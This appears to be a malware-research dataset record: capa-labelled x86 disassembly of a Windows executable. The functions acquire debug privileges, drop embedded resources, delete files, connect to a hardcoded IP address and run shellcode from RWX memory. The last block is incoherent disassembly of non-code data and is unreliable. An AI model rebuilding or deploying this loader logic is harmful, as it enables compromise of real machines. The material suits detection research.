joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404eb5
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x20
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x404f21
lea eax, [ebp - 0x10]
push eax
push str.SeDebugPrivilege
push edi
mov dword [ebp - 0x14], 1
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push edi
push edi
push 0x10
lea eax, [ebp - 0x14]
push eax
neg esi
sbb esi, esi
push edi
push dword [ebp - 4]
and esi, 2
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 4]
mov edi, eax
neg edi
sbb edi, edi
inc edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x404f6e
Capabilities:
Create directory

Disassembly:
push ebp
lea ebp, [esp - 0x88]
sub esp, 0x108
mov eax, dword [0x41b2e4]
xor eax, ebp
mov dword [ebp + 0x84], eax
push esi
mov esi, dword [ebp + 0x90]
push 0x103
lea eax, [ebp - 0x7f]
push 0
push eax
mov byte [ebp - 0x80], 0
call fcn.004060c0
push esi
lea eax, [ebp - 0x80]
push 0x104
push eax
call fcn.0040728e
lea eax, [ebp - 0x80]
push 0x5c
push eax
call fcn.00407300
add esp, 0x20
pop esi
test eax, eax
je 0x404fe8
mov byte [eax], 0
mov eax, dword [ebp + 0x94]
inc eax
push eax
lea eax, [ebp - 0x80]
push eax
call fcn.00404f6e
pop ecx
pop ecx
push 0
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [ebp + 0x84]
xor ecx, ebp
call fcn.00405d40
add ebp, 0x88
leave
ret

Function at 0x404ffd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor esi, esi
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x405096
mov eax, dword [ebp + 0xc]
mov edi, dword [eax + 0x1c]
cmp edi, esi
jbe 0x40509d
push esi
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [ebp + 0x10]
push esi
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 0x14]
push edi
add ecx, eax
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 4], edi
je 0x405079
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Writing_data_error:__x08_n
mov ecx, fcn.004059f1
call fcn.00404f27
pop ecx
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
jmp 0x405098
mov eax, dword [ebp + 0xc]
lea ecx, [eax + 0x14]
push ecx
lea ecx, [eax + 0xc]
push ecx
add eax, 4
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
push dword [ebp + 8]
push str.File:__s_size_error_n
jmp 0x405061
Function at 0x4050a7
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push dword [ebp + 8]
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x405146
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 4], eax
cmp eax, esi
jbe 0x40513d
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push dword [ebp - 4]
mov dword [edi], eax
push esi
push eax
call fcn.004060c0
add esp, 0xc
push esi
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
push dword [edi]
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 8], eax
cmp eax, esi
jne 0x40513d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Read_pack_file_failed_with_error:__08x_n
mov ecx, fcn.004059f1
call fcn.00404f27
pop ecx
pop ecx
push dword [edi]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40515e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Open_pack_file_failed_with_error:__08x_n
mov ecx, fcn.004059f1
call fcn.00404f27
pop ecx
pop ecx
xor eax, eax
cmp dword [ebp - 8], esi
pop esi
setne al
pop ebx
dec eax
leave
ret

Function at 0x40516b
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x418ec8
mov edi, eax
push 0x7d0
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov ebx, eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebx
push edi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, esi
je 0x405209
cmp dword [ebp - 4], esi
je 0x405209
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
push dword [ebp + 8]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4051fb
push esi
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x405224
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Create_temp_resource_of_file_failed_with_error:__08x_n
jmp 0x405215
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Load_resource_failed_with_error:__08x_n
mov ecx, fcn.004059f1
call fcn.00404f27
pop ecx
or eax, 0xffffffff
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405229
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call esi
push eax
push dword [ebp + 8]
mov ebx, str._s_08X
push ebx
mov edi, 0x104
push edi
push dword [ebp + 0xc]
call fcn.00407428
add esp, 0x14
call esi
imul eax, eax, 0x3039
xor edx, edx
mov ecx, 0x2215
div ecx
push eax
push dword [ebp + 8]
push ebx
push edi
push dword [ebp + 0x10]
call fcn.00407428
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x14
push dword [ebp + 0xc]
call esi
push dword [ebp + 0x10]
call esi
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret
Function at 0x405a5f
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34c
mov eax, dword [0x41b2e4]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
test esi, esi
je 0x405aff
push esi
lea eax, [ebp - 0x208]
push str._s.
push eax
call fcn.00405d25
add esp, 0xc
lea eax, [ebp - 0x348]
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x405aff
cmp byte [ebp - 0x31c], 0x2e
je 0x405ae6
test byte [ebp - 0x348], 0x10
jne 0x405ae6
lea eax, [ebp - 0x31c]
push eax
push esi
lea eax, [ebp - 0x208]
push str._s_s
push eax
call fcn.00405d25
add esp, 0x10
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x348]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405aab
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.00405d40
leave
ret

Function at 0x405b0c
Capabilities:
Create directory
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x228
mov eax, dword [0x41b2e4]
xor eax, esp
mov dword [esp + 0x224], eax
mov eax, dword [ebp + 8]
push esi
push edi
mov esi, str._s_adclient
lea edi, [esp + 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
test eax, eax
jne 0x405b4c
call fcn.00404e1a
test eax, eax
jne 0x405b4c
or eax, 0xffffffff
jmp 0x405bd3
mov dword [0x41ed28], eax
test ebx, ebx
jne 0x405ba3
mov esi, 0x104
push esi
lea eax, [esp + 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [esp + 0x120]
push eax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x20]
push esi
push eax
call fcn.00407428
add esp, 0x10
push ebx
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x405bc1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x405bc1
jmp 0x405b44
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
test al, 0x10
je 0x405b44
push ebx
lea eax, [esp + 0x1c]
push 0x104
push eax
call fcn.0040728e
add esp, 0xc
lea esi, [esp + 0x18]
call fcn.00405a5f
mov eax, esi
push eax
call fcn.0040528b
pop ecx
mov ecx, dword [esp + 0x22c]
pop edi
pop esi
xor ecx, esp
call fcn.00405d40
mov esp, ebp
pop ebp
ret

Function at 0x405d40
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41b2e4]
jne 0x405d4a
repz ret
jmp fcn.00407984
Function at 0x410c85
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040b1f1
and dword [ebp - 4], 0
cmp dword [0x41d2b8], 0
mov ebx, eax
jne 0x410d36
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x410de7
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x410de7
push eax
call fcn.0040b17f
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x41d2b8], eax
call esi
push eax
call fcn.0040b17f
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x41d2bc], eax
call esi
push eax
call fcn.0040b17f
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x41d2c0], eax
call esi
push eax
call fcn.0040b17f
pop ecx
mov dword [0x41d2c8], eax
test eax, eax
je 0x410d36
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040b17f
pop ecx
mov dword [0x41d2c4], eax
mov eax, dword [0x41d2c4]
cmp eax, ebx
je 0x410d8e
cmp dword [0x41d2c8], ebx
je 0x410d8e
push eax
call fcn.0040b1fa
push dword [0x41d2c8]
mov esi, eax
call fcn.0040b1fa
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x410d8e
test edi, edi
je 0x410d8e
call esi
test eax, eax
je 0x410d85
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x410d85
test byte [ebp - 0xc], 1
jne 0x410d8e
or dword [ebp + 0x10], 0x200000
jmp 0x410dc7
mov eax, dword [0x41d2bc]
cmp eax, ebx
je 0x410dc7
push eax
call fcn.0040b1fa
pop ecx
test eax, eax
je 0x410dc7
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x410dc7
mov eax, dword [0x41d2c0]
cmp eax, ebx
je 0x410dc7
push eax
call fcn.0040b1fa
pop ecx
test eax, eax
je 0x410dc7
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x41d2b8]
call fcn.0040b1fa
pop ecx
test eax, eax
je 0x410de7
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x410de9
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401160
Capabilities:
Print debug messages

Disassembly:
push esi
mov esi, ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x41d2c4
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [0x41d14c]
mov ecx, esi
push eax
push str.45.195.204.228
call fcn.00401190
pop esi
ret

Function at 0x401190
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Print debug messages
Resolve dns

Disassembly:
sub esp, 0x10
push esi
push 6
push 1
mov esi, ecx
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 8], eax
jne 0x4011b3
xor eax, eax
pop esi
add esp, 0x10
ret 8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
mov eax, dword [esp + 0x24]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, dword [esp + 0x28]
mov edi, eax
push ecx
mov word [esp + 0x14], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
mov edx, dword [edi + 0xc]
push 0x10
mov eax, dword [edx]
lea edx, [esp + 0x14]
push edx
mov ecx, dword [eax]
mov eax, dword [esi + 8]
push eax
mov dword [esp + 0x20], ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401238
mov ecx, dword [esi + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x64
call ebx
push 0x41d2c4
call ebp
mov edx, dword [esi + 0xc]
push 0x3e8
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x64
call ebx
push 0x41d2c4
call ebp
jmp 0x4011c2
push 0x64
call ebx
push str.CreateThread
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push esi
push 0x401280
push 0
push 0
call eax
pop edi
pop ebp
pop ebx
mov eax, 1
pop esi
add esp, 0x10
ret 8

Function at 0x401350
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push str.VirtualAlloc
mov esi, ecx
push str.KERNEL32.dll
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x3000
push 0x4da78
push 0
call eax
mov ebx, eax
test ebx, ebx
jne 0x401388
pop esi
pop ebp
pop ebx
ret
push edi
mov ecx, 0x1369e
add esi, 0x4da90
mov edi, ebx
push str.CreateThread
push str.KERNEL32.dll
rep movsd dword es:[edi], dword [esi]
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push ebx
push ebx
push 0
push 0
call eax
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
Function at 0x4050e0
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x38
push edi
mov edi, ecx
mov eax, dword [edi + 0x48]
test eax, eax
jne 0x4050f6
mov al, 1
pop edi
add esp, 0x38
ret 8
push ebx
push ebp
push esi
push 0xd
mov dword [esp + 0x20], 9
xor esi, esi
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov ebx, dword [sym.imp.USER32.dll_SendMessageA]
mov dword [esp + 0x14], eax
mov eax, dword [edi + 0x20]
push esi
push esi
push 0x1200
push eax
mov byte [esp + 0x23], 1
call ebx
xor ebp, ebp
mov dword [esp + 0x18], eax
test eax, eax
jle 0x405181
mov edx, dword [edi + 0x20]
lea ecx, [esp + 0x1c]
push ecx
push ebp
push 0x1203
push edx
call ebx
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x34]
add esi, eax
mov eax, 1
shl eax, cl
test dword [edi + 0x48], eax
je 0x405178
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x4c]
cdq
sub eax, edx
mov edx, esi
sar eax, 1
sub edx, eax
cmp ecx, edx
jle 0x405178
add eax, esi
cmp ecx, eax
jge 0x405178
mov byte [esp + 0x13], 0
mov eax, dword [esp + 0x18]
inc ebp
cmp ebp, eax
jl 0x405131
mov al, byte [esp + 0x13]
pop esi
pop ebp
pop ebx
pop edi
add esp, 0x38
ret 8

Function at 0x4059c0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x415d62
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
xor ebx, ebx
mov dword [esp + 0x18], ebx
call fcn.0041501e
lea edi, [esi + 0x5c]
mov byte [esp + 0x18], 1
mov ecx, edi
call sub.MFC42.DLL_CString::CString_3
lea ecx, [esi + 0x6c]
mov byte [esp + 0x18], 2
call fcn.00407140
lea ecx, [esi + 0xcc]
mov byte [esp + 0x18], 3
call fcn.00407c40
lea ecx, [esi + 0x114]
mov byte [esp + 0x18], 4
call fcn.00407830
mov al, byte [esp + 0x34]
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x20]
mov byte [esi + 0x46], al
mov eax, dword [esp + 0x24]
push 0x7fe2
push ebx
mov byte [esp + 0x20], 5
mov dword [esi], 0x418030
mov dword [esi + 0x64], ecx
mov dword [esi + 0x54], edx
mov dword [esi + 0x58], eax
mov dword [esi + 0x60], ebx
call dword [sym.imp.USER32.dll_LoadBitmapA]
lea ecx, [esp + 0x28]
mov dword [esi + 0x68], eax
push ecx
mov ecx, edi
call sub.MFC42.DLL_CString::operator_1
push 0x15
mov dword [esi + 0x154], esi
mov dword [esi + 0xc0], esi
mov dword [esi + 0x10c], esi
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dl, byte [esp + 0x30]
or edi, 0xffffffff
push 8
mov dword [esi + 0x50], eax
mov dword [esi + 0x40], ebx
mov byte [esi + 0x4c], dl
mov byte [esi + 0x160], 1
mov dword [esi + 0x48], edi
mov byte [esi + 0x44], bl
mov byte [esi + 0x45], 1
call dword [sym.imp.USER32.dll_GetSysColor]
lea ecx, [esp + 0x28]
mov dword [esi + 0x164], eax
mov dword [esp + 0x18], edi
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret 0x18
Function at 0x411d60
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x416a87
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x158
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov dword [esp + 0xc], esi
mov dword [esi], 0x419058
mov dword [esi + 4], ebx
lea ecx, [esi + 0x1c]
mov dword [esp + 0x16c], ebx
call sub.MFC42.DLL_CImageList::CImageList
lea ecx, [esi + 0x24]
mov byte [esp + 0x16c], 1
call sub.MFC42.DLL_CImageList::CImageList
mov edi, dword [sym.imp.USER32.dll_GetSysColor]
push 7
mov byte [esp + 0x170], 2
mov dword [esi], 0x41903c
call edi
push 0xe
mov dword [esi + 0x2c], eax
call edi
push 0xf
mov dword [esi + 0x30], eax
call edi
push 4
mov dword [esi + 0x34], eax
call edi
push 0xd
mov dword [esi + 0x38], eax
call edi
push 0x14
mov dword [esi + 0x3c], eax
call edi
push 0x10
mov dword [esi + 0x40], eax
call edi
push 0x11
mov dword [esi + 0x44], eax
call edi
push 0xf
mov dword [esi + 0x48], eax
call edi
push 0x14
mov dword [esi + 0x4c], eax
call edi
push 0x10
mov dword [esi + 0x50], eax
call edi
mov dword [esi + 0x54], eax
mov eax, 0x14
mov ecx, eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], ecx
mov ecx, 0x55
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
push ebx
push eax
push ebx
push 0x29
mov dword [esi + 0x58], ebx
mov dword [esi + 0x5c], ebx
mov dword [esi + 0x60], ebx
mov dword [esi + 0x64], ebx
mov dword [esi + 0xc], ebx
mov dword [esp + 0x20], 0x154
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
lea ecx, [esp + 0xb0]
push ecx
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
mov ecx, esi
mov dword [esi + 0x10], eax
mov dword [esi + 8], ebx
call fcn.00412880
mov eax, esi
mov ecx, dword [esp + 0x164]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x164
ret
Function at 0x4128d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x416b60
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
mov ebx, dword [esp + 0x1c]
push ebp
push esi
push edi
and ebx, 0xffff
push 0xf1
mov esi, ecx
push ebx
call sub.MFC42.DLL_AfxFindResourceHandle
mov edi, eax
xor ebp, ebp
cmp edi, ebp
jne 0x412912
xor al, al
jmp 0x412a34
push 0xf1
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, ebp
jne 0x41292a
xor al, al
jmp 0x412a34
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebp
jne 0x41293d
xor al, al
jmp 0x412a34
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
cmp edi, ebp
jne 0x412951
xor al, al
jmp 0x412a34
xor eax, eax
xor ecx, ecx
mov ax, word [edi + 2]
push ebp
mov dword [esi + 0x14], eax
xor eax, eax
mov ax, word [edi + 4]
mov edx, dword [esi + 0x14]
mov dword [esi + 0x18], eax
mov cx, word [edi + 6]
push ecx
push 5
push eax
push edx
lea ecx, [esi + 0x1c]
call sub.MFC42.DLL_CImageList::Create
test eax, eax
jne 0x412985
xor al, al
jmp 0x412a34
mov eax, dword [esi + 0x34]
push eax
mov eax, dword [esi + 0x20]
push eax
call dword [sym.imp.COMCTL32.dll_ImageList_SetBkColor]
mov dword [esp + 0x14], ebp
mov dword [esp + 0x10], 0x417eb4
push ebx
push 2
push ebx
mov dword [esp + 0x2c], ebp
call sub.MFC42.DLL_AfxFindResourceHandle
push eax
call dword [sym.imp.USER32.dll_LoadBitmapA]
push eax
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CGdiObject::Attach
mov edx, dword [esp + 0x14]
mov ecx, dword [esi + 0x20]
lea eax, [esp + 0x10]
push 0xc0c0c0
neg eax
sbb eax, eax
and eax, edx
push eax
push ecx
call dword [sym.imp.COMCTL32.dll_ImageList_AddMasked]
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CGdiObject::DeleteObject
xor ecx, ecx
lea ebx, [edi + 8]
cmp word [edi + 6], cx
jbe 0x412a19
mov ax, word [ebx]
test ax, ax
je 0x412a0b
mov edx, ecx
inc ecx
mov dword [esp + 0x28], ecx
push eax
push edx
mov ecx, esi
call fcn.00412a50
mov ecx, dword [esp + 0x28]
xor edx, edx
inc ebp
mov dx, word [edi + 6]
add ebx, 2
cmp ebp, edx
jl 0x4129ef
mov dword [esp + 0x10], 0x417edc
lea ecx, [esp + 0x10]
mov dword [esp + 0x20], 1
call sub.MFC42.DLL_CGdiObject::DeleteObject
mov al, 1
mov ecx, dword [esp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret 4

Function at 0x4a1e48
Capabilities:
Encode data using xor

Disassembly:
push esp
out 5, al
popfd
ror byte [ebp + 3], 1
xchg esp, eax
fcmovnu st(0), st(2)
xor byte [eax + eax*2 - 0x7f], dl
pop esi
pop edi
sar byte [esp + 0x1c], cl
int 0x74
cmp dword [esi + 0x42], esi
mov al, 0xfe
sbb dword [ecx], esi
in eax, 0xc5
invalid
in al, 0xe
jb 0x4a1df7
shr dword [ebp + 0x2a], 0x9c
aad 0x55
jae 0x4a1ec9
mov dh, 0xa2
push eax
call 0x36cbefac
int 0x16
sub eax, 0x5af63812
jmp esi
sub al, 0x26
cmp eax, 0x7d5f1140
mov ebx, 0x76e948dd
add al, 0x1a
xchg ebx, eax
cmp byte [ebx], 0xfe
pushfd
sahf
sar al, cl
xchg dword [ebx], ecx
mov cl, 0x79
imul esp, dword [eax - 0x7a4a56c2], 0xaeec131e
fmul st(5)
scasd eax, dword es:[edi]
fidivr word [ebx - 0x7a95bdf3]
cmp al, 0xb1
invalid